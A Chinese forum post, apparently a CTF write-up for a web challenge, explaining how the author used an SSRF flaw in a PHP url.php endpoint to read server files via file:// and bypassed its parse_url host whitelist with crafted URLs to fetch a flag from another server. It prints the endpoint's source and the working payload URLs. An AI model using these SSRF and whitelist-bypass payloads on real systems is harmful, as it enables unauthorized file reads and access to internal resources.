首页
论坛
课程
招聘
[原创]第四题 飞蛾扑火 WP
2022-5-16 12:43 3242

[原创]第四题 飞蛾扑火 WP

2022-5-16 12:43
3242

说实话,拿到此题时一眼蒙,就一个URL,打开URL内容如下:
http://121.36.145.157:8044/

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<meta charset="utf-8">
<title>欢迎挑战 Design by 香草</title>
</head>
<body>
<!--phpinfo.php-->
<img src="url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png">
</body>
</html>

页面上就出一个图 ,WEB的题的确没怎么玩,不知道怎么玩,但可以看出那个图的src是通过url.php去读文件https://ctf.pediy.com/upload/team/762/team236762.png,且注释中有一个页面的提示<!-- phpinfo.php-->
打开这个页面,可以看到PHP的一些配置.之后就在网上查PHP漏洞,看到网上有介绍SSRF漏洞,可以用file://协议访问服务器上的文件,但需要服务器开启allow_url_fopen ,通过查看phpinfo.php中的内容,得知:allow_url_fopen On ,正好是开启的,同时还看到网页的根目录在服务器上的位置:DOCUMENT_ROOT /var/www/html ,因此构造一个URL可以读到url.php的内容,URL为::

 

http://121.36.145.157:8044/url.php?url=file://localhost/var/www/html/url.php

 

读到的url.php的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function curl_request($url, $data=null, $method='get', $header = array("content-type: application/json"), $https=true, $timeout = 5){
    $method = strtoupper($method);
    $ch = curl_init();//初始化
    curl_setopt($ch, CURLOPT_URL, $url);//访问的URL
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//只获取页面内容,但不输出
    if($https){
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//https请求 不验证证书
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//https请求 不验证HOST
    }
    if ($method != "GET") {
        if($method == 'POST'){
            curl_setopt($ch, CURLOPT_POST, true);//请求方式为post请求
        }
        if ($method == 'PUT' || strtoupper($method) == 'DELETE') {
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); //设置请求方式
        }
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//请求数据
    }
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //模拟的header头
    //curl_setopt($ch, CURLOPT_HEADER, false);//设置不需要头信息
    $result = curl_exec($ch);//执行请求
    curl_close($ch);//关闭curl,释放资源
    return $result;
}
 
$url=$_GET["url"];
$uu=parse_url($url);
$host=isset($uu["host"])?$uu["host"]:"";
$scheme=isset($uu["scheme"])?$uu["scheme"]:"";
if(empty($host)){
    die("host is null");
}
if(empty($scheme)){
    die("scheme is null");
}
 
//https://ctf.pediy.com/upload/team/762/team236762.png?
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
  echo curl_request($url,'',"get",[],true,5);
 
}else{
die("host not allow");
}
 
 
?>

从url.php的内容可看到,这儿对HOST有检测,传入的URL经parse_url解析后,只有HOST为ctf.pediy.com 或 127.0.0.1 或 localhost 才能通过 检测. 同时可以看到文件中有注释:
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
即 flag可以通过访问另一个服务器上的页面http://123.57.254.42/flag.php 得到,在本地打开这个页面看到提示:
error ip
明显看出这个页面也有IP检测,只有通过目标服务器IP(121.36.145.157)访问才能得到flag,也就是说,可以通过构造一个URL由目标服务器来访问flag页面:

 

http://121.36.145.157:8044/url.php?url=http://123.57.254.42/flag.php

 

不过在本地打开这个URL,提示:
host not allow
显然,这是没有通过目标服务器的HOST检测,从url.php的源码也看得出来会是这样的结果:parse_url对http://123.57.254.42/flag.php 解析后host是123.57.254.42 ,当然不在白名单中.
在这儿卡了很久,又在网上搜parse_url的漏洞,终于找到适合这题的漏洞:
当URL 前面为 xxxx://yyyy/ 时,经parse_url解析后:host 为 yyyy, 而curl访问时又是访问的主机又是 xxxx ,这就能绕过url.php中的域名检测.

 

构造 yyyy 在 url.php 的 白名单中的 URL:

 

http://121.36.145.157:8044/url.php?url=123.57.254.42://ctf.pediy.com/../flag.php

http://121.36.145.157:8044/url.php?url=123.57.254.42://127.0.0.1/../flag.php

http://121.36.145.157:8044/url.php?url=123.57.254.42://localhost/../flag.php

 

上面三个URL都能通过检测 ,在本地打开任意一个,就能拿到flag了:

1
flag{xxx_999()xx*@eeEEE}

【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回